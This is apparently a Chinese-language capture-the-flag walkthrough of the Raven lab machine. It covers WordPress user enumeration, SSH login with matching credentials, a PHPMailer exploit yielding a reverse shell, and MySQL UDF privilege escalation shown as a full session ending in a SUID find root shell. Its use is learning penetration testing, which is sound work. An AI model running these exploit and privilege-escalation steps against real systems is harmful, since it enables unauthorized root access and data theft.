大致看了看别人的wp,感觉这个靶机做下来还是能获得不少东西的
大致分为两种方法,先来第一种比较简单的,第二种更复杂一些
kali : 192.168.230.224
target : 192.168.230.225
第一种方法(扫描->发现web服务->得知wordpress服务->wpscan扫描->发现用户名密码->用hydra爆破ssh(这里直接试出来了,也是一种方法,用户名密码相同登录)->登录ssh->查看wordpress->得到mysql账号密码->使用第二个账号提权->根据提示提权成功)
开放了web,ssh,还有一个貌似没什么用,先看web
得到web后,常用的查看源码,也可以找一些js文件,找一些目录,寻找一下cms信息
得到wordpress,这里就用到wpscan,以前也是听说过,不过还是第一次用
注意一下地址后面的/wordpress必须要有
扫出两个用户(关于wpscan的命令https://www.cnblogs.com/-zhong/p/11252714.html
)
还有开启web后还是扫一下目录,第一种方法暂时用不到,暂时跳过,第二种方法会用到
这里要记住开启web后的基本做法
按照常规来说,还是爆破一下,万一成功了呢,但是这里直接用相同用户名密码就登陆了
直接就登陆了michael用户,下一步试一下直接提权,发现并不行
接着查看数据库账号密码
好了,mysql数据库账号密码知道了,登录
得到第二个用户的账号密码
输入刚才的账号密码,登录了
发现没有root权限,下面查看一下能执行哪些命令
发现Python不需要root权限就可以执行,那我们就可以直接利用Python来生成一个root shell了,输入id查看即可
成功提权得到flag
第二种方法
回到刚才的思路,查看目录
发现一个目录,访问一下
发现了一个目录遍历,可以看到安装了phpmailer,我们用msf的searchsploit模块扫一下(第一次接触msf的这个命令的使用,还是我见识的太少了)
附上searchsploit的使用https://www.freebuf.com/sectool/146106.html
可以看到都有对应版本,刚刚不是扫出来一个目录遍历吗,查看version
那么这里我们选用40974.py
接下来我们来查看一下这个文件的内容
将py文件复制到根目录(注意这里的py文件路径,这里面还有很多类似的文件,都保存在/usr/share/目录下,记住)
也可以用exploit-db.com进行搜索exp(记住这个网站,里面有很多可利用的exp)
https://www.exploit-db.com/exploits/40974
编辑一下,在头文件加上这个东西,起注释作用
这里直接贴截图了,懒得自己写注释,那个target之所以有/contact.php是因为web页面的邮件发送页面存在phpmailer漏洞,我这里生成的是abc.php,监听4444端口
存在这个情况,只要pip install requests-toolbelt即可
监听端口,接下来访问contact.php页面
反弹shell过程昨天搞到凌晨两点,死活反弹不了,后来发现我的kali地址变了,因为这个流程我已经复现过一遍,所以还原快照了,结果kali地址就变了
成功反弹到shell(知道kali地址改变的那一时刻直接吐血)
下面生成一个python虚拟终端,一开始不太明白(虽然现在也不是很懂),就是知道要用一个交互式的shell,可能实现的功能更多一些,以后碰到更多的靶机在慢慢总结
既然是提权,就可以考虑一下linux的提权方式,这里先不总结,以后在慢慢总结,这次用到的是udf提权,首先获取数据库账号密码
这里看一下数据库版本信息,因为这里涉及到后面.so文件的导入位置
关于windows的udf提权条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
查询到mysql udf提权exp编号为1518(记住吧)
将exp拷贝到web目录下,之所以这样做,是因为web目录可以被靶机访问到,因为我们要下载这个py文件到摆钟,还有一种方法就是直接在https://www.exploit-db.com/exploits/1518获取EXP
可以用命令wget https://www.exploit-db.com/exploits/1518
但是我个人还是比较倾向用工具上的exp的
(这里在真实的渗透环境中,可以把exp上传到自己服务器的web目录下,就能直接利用了)
也可以不用非得拷贝到web目录下,也可以是其他目录,但是靶机下载的时候就要配合端口了
可以看一下这条命令,得知 端口8000对应的根目录,也就是说也可以把exp文件上传到根目录,到时候访问http://ip:8000就可以了,但是我不知道怎样通过文件路径找端口,网上也没有什么资料,先记住这两个吧,一个是/var/www/html,一个是/root(命令!!!)
本来想到根目录里面下载的,发现权限不够,在这里面就可以,以后碰到再说
接下来就是编译.c文件,
可以看到生成了.o文件
.o,是目标文件,相当于windows中的.obj文件
.so 为共享库,是shared object,用于动态连接的,相当于windows下的dll
.a为静态库,是好多个.o合在一起,用于静态连接
对.so不了解,但是对windows中的dll文件还是听说过的,和可执行文件有关系,是动态链接库的库文件
用我自己粗浅的理解 : .c(c/c++)看成源代码文件编译后,产生中简代码.o(.obj),目标文件是.so(.dll)
现在暂时理解这么多,以后慢慢了解,参考
https://www.cnblogs.com/liuzhenbo/p/11031052.html
现在目标就是产生.so,用命令
发现报错了,这里要先将.c文件编译成.so文件在下载
ok了具体参数的解释
https://blog.csdn.net/nicholas_duan/article/details/84397431
也可以用这条命令,第二种感觉难理解
第二次成功了,因为我把1518.so放到了根目录下,才发现上面我讲错了,好像根目录和web目录都能直接下载,先不改了,有待商榷
突然反应过来,只是一个权限问题,用命令解决了
下面正式开始提权过程,以前完全没接触过,就直接按教程来了
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.22 sec)
mysql> use wordpress
use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.43 sec)
mysql> insert into foo values(load_file('/var/www/html/1518.so'));
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.10 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.06 sec)
mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.10 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.02 sec)
mysql> quit
quit
Bye
www-data@Raven:/var/www/html$ find / -exec 'whoami' \;
find / -exec 'whoami' \;
root
www-data@Raven:/var/www/html$ find / -exec '/bin/sh' \;
find / -exec '/bin/sh' \;
# whoami
whoami
root
# pwd
pwd
/var/www/html
# cd /root
cd /root
# ls
dumpfile通常用于读取二进制文件,不会造成损坏
create function do_system是我们添加的新的函数,用于执行系统命令
chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作,也就是说给find命令最高权限
find / -exec ‘/bin/sh’ ;最终提权,赋予根目录下最高权限
关于udf提权原理
https://blog.csdn.net/weixin_33774308/article/details/94563406
做完这套靶机收获很大,学了不少东西